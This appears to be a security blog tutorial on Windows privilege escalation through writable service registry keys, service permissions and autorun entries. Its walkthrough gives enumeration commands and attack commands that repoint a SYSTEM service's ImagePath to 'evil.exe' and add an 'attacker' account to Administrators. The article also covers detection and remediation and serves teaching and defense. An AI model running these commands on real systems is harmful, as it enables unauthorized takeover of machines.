Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Windows persistence and service startup both revolve around a small set of registry values: autorun keys under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (and its RunOnce sibling) execute a command every time a user logs on, and each service’s ImagePath value under HKLM\SYSTEM\CurrentControlSet\Services\<name> tells the Service Control Manager exactly which binary to launch, and under which account, when that service starts. Both are HKLM values, which *should* mean only administrators can touch them — but third-party installers, custom applications, and legacy software routinely leave these keys with looser discretionary access control lists (DACLs) than intended, sometimes granting Everyone or Authenticated Users write access to a specific service key or its parent.
When that happens, a completely unprivileged local user can redirect a SYSTEM-run service to execute an attacker-supplied binary instead — no exploit, no memory corruption, just a registry write followed by a service restart. This is one of the most common findings in internal Windows privilege-escalation assessments, precisely because it doesn’t require a vulnerability in Windows itself: it’s a permissions mistake made by whatever software installed the service, and it is trivially detectable and trivially exploitable once found.
Attack Prerequisites
Exploiting a writable service key or autorun entry requires:
- A weak DACL on a specific registry key — either a service’s key under
...\Services\<name>(grants directImagePathrewrite), or the Service Control Manager’s SDDL for that service (sc sdshow), or an autorun key with write access for a low-privileged group. - The target service configured to run as a privileged account (commonly
LocalSystem, sometimes a privileged domain service account) — this is what turns the write primitive into an escalation. - A way to trigger execution — permission to start/stop/restart the service directly (
sc start/sc stop), or the patience to wait for a scheduled reboot, or (forRunkeys) waiting for a higher-privileged user to log on interactively. - Local code execution as a standard user to run the enumeration and write commands.
How It Works
Every Windows service has a registry-backed configuration record. The Service Control Manager reads ImagePath from HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> at start time and simply executes whatever that string points to, in the security context named by the service’s ObjectName value (defaulting to LocalSystem when absent). The SCM performs no integrity check on the target binary and no re-validation that the path is what it was when the service was installed — if the value changes between install and start, the new value wins. Registry keys, like files, carry an ACL; if that ACL grants KEY_SET_VALUE (or broader) to a non-administrative principal, that principal can rewrite ImagePath freely. A parallel, independent vector exists at the SCM level itself: each service also has its own security descriptor manageable via sc sdshow/sc sdset, and if that descriptor grants a low-privileged SID the SERVICE_CHANGE_CONFIG right, sc config can repoint the binary without touching the registry ACL at all.
Autorun Run/RunOnce keys work differently and it’s important not to conflate the two escalation vectors: entries under HKLM\...\CurrentVersion\Run execute once per interactive logon, in the security context of *whichever user is logging on* — not as SYSTEM. A writable HKLM Run key is therefore not an immediate SYSTEM escalation for the attacker’s own session; it’s a wait-and-catch technique that pays off only when a more privileged user (an administrator doing maintenance, a domain admin who RDPs in) logs on to the same box and unknowingly executes the attacker’s payload under their own, higher-privileged token. The service ImagePath vector, by contrast, executes as whatever account the service is configured with, independent of who is logged on — which is why it’s the faster, more deterministic path to SYSTEM when both are available.
The root cause in both cases is the same: registry key DACLs, unlike file DACLs, are rarely audited by IT because there’s no filesystem-style “everyone can see the permissions tab” workflow most admins reach for — third-party installers run with elevated rights during setup and sometimes explicitly loosen a key’s ACL (to let their own unprivileged updater write to it later) without considering that any other local user inherits the same access.
Vulnerable Code / Configuration
Sysinternals accesschk.exe is the standard tool for surfacing this from the registry side — run against the Services key tree, it lists every subkey a given principal can write to:
C:\Tools> accesschk.exe -kvuqsw "Authenticated Users" hklm\System\CurrentControlSet\Services
HKLM\System\CurrentControlSet\Services\VulnUpdateSvc
RW BUILTIN\Users
KEY_QUERY_VALUE
KEY_SET_VALUE
KEY_CREATE_SUB_KEY
KEY_ENUMERATE_SUB_KEYS
KEY_NOTIFY
READ_CONTROL
TEXTKEY_SET_VALUE for BUILTIN\Users on a service key is the smoking gun — any authenticated local user, not just administrators, can modify that service’s ImagePath. Confirming the service runs privileged and auto-starts turns this into a guaranteed SYSTEM path:
C:\> reg query HKLM\SYSTEM\CurrentControlSet\Services\VulnUpdateSvc
ImagePath REG_EXPAND_SZ C:\Program Files\VendorApp\updater.exe
ObjectName REG_SZ LocalSystem
Start REG_DWORD 0x2 (auto-start)
TEXTThe same weakness can also live at the Service Control Manager layer instead of the registry, visible via the service’s own SDDL — note WD (Everyone) holding RPWP (write property rights that include reconfiguration) in the DACL portion of the string:
C:\> sc sdshow VulnUpdateSvc
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;WD)
# (A;;CCLCSWRPWPDTLOCRRC;;;WD) grants WRITE (WP) to Everyone (WD)
TEXTWalkthrough / Exploitation
Enumeration first — PowerUp.ps1 automates the same checks accesschk performs and is faster for a full sweep across every installed service and known autorun location:
Import-Module .\PowerUp.ps1
Get-ModifiableService
Get-ModifiableServiceFile
Get-ModifiableRegistryAutoRun
PowerShellOnce a writable, auto-start, LocalSystem-run service is confirmed, repoint its ImagePath directly through the registry:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnUpdateSvc" ^
/v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\evil.exe" /f
PowerShellOr, if the SCM-level SDDL is the weak point instead of the registry ACL, sc config achieves the same result without ever touching the registry directly:
sc config VulnUpdateSvc binpath= "C:\Users\Public\evil.exe"
PowerShellThe payload itself just needs to run once as SYSTEM; a common choice is a one-shot binary or cmd.exe /c line that adds the current user to Administrators, after which normal admin tooling takes over:
sc config VulnUpdateSvc binpath= "cmd.exe /c net localgroup administrators attacker /add"
sc stop VulnUpdateSvc
sc start VulnUpdateSvc
net localgroup administrators # confirm 'attacker' is now a member
PowerShellNote: If the account doesn’t have rights to start/stop the service directly, the write still pays off on the next scheduled reboot — many auto-start services are effectively guaranteed to restart within a normal patch cycle. For
Run/RunOnceautoruns specifically, remember the payload executes as whoever logs on next, not SYSTEM — useful for catching an administrator’s session on a shared jump box, but not a same-session escalation.
Opsec: Restoring the original
ImagePathafter use is trivial and worth doing on assessments — leaving a service permanently repointed at an attacker binary is both unnecessary noise and a stability risk for the target service’s real functionality. SysinternalsAutoruns.exeand any EDR with registry-write hooks will flag the change immediately in a monitored environment regardless.
Detection and Defense
This is fundamentally a permissions hygiene problem, and it is fixed and monitored at the DACL and audit-policy level:
- Audit registry DACLs on
Servicesand autorun keys withaccesschk.exe -kvuqsworGet-Aclagainst every subkey, looking forUsers/Everyone/Authenticated Usersholding write access; this is exactly MITRE ATT&CK T1574.011 (Hijack Execution Flow: Services Registry Permissions Weakness). - Baseline autoruns with Sysinternals Autoruns and diff regularly — new or changed
Run/RunOnce/service entries stand out immediately against a known-good snapshot. - Restrict write access to
CurrentControlSetto administrators only, and specifically review any service installed by third-party software for an over-permissive DACL left behind by its installer. - Enable registry auditing (SACL) on sensitive keys to generate Event ID 4657 (registry value modified) on
ImagePathandRunkey changes; combine with Event ID 7040 (service start type changed) and Sysmon Event ID 13 (registry value set). - Enable command-line process auditing (Event ID 4688 with command-line logging) to catch
sc config ... binpath=andreg add ... ImagePathinvocations directly.
Real-World Impact
Weak service registry and SCM permissions are a recurring, high-frequency finding across internal and OSCP-style Windows privilege-escalation assessments, almost always traced back to third-party software rather than a Windows default — vendor installers that grant broad write access to ease their own unprivileged auto-update mechanism are the most common root cause. Tooling like PowerUp, WinPEAS, and Seatbelt all ship dedicated checks for exactly this pattern because of how often it turns up in the wild, and it is catalogued in MITRE ATT&CK as T1574.011.
Conclusion
A service running as SYSTEM is only as trustworthy as the ACL guarding its configuration — if a standard user can rewrite ImagePath or the service’s own SDDL, the SYSTEM boundary is gone regardless of how hardened the rest of the box is. The fix is unglamorous but effective: audit registry and SCM permissions on every installed service, keep write access to CurrentControlSet limited to administrators, and baseline autoruns so unauthorized changes are visible fast.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments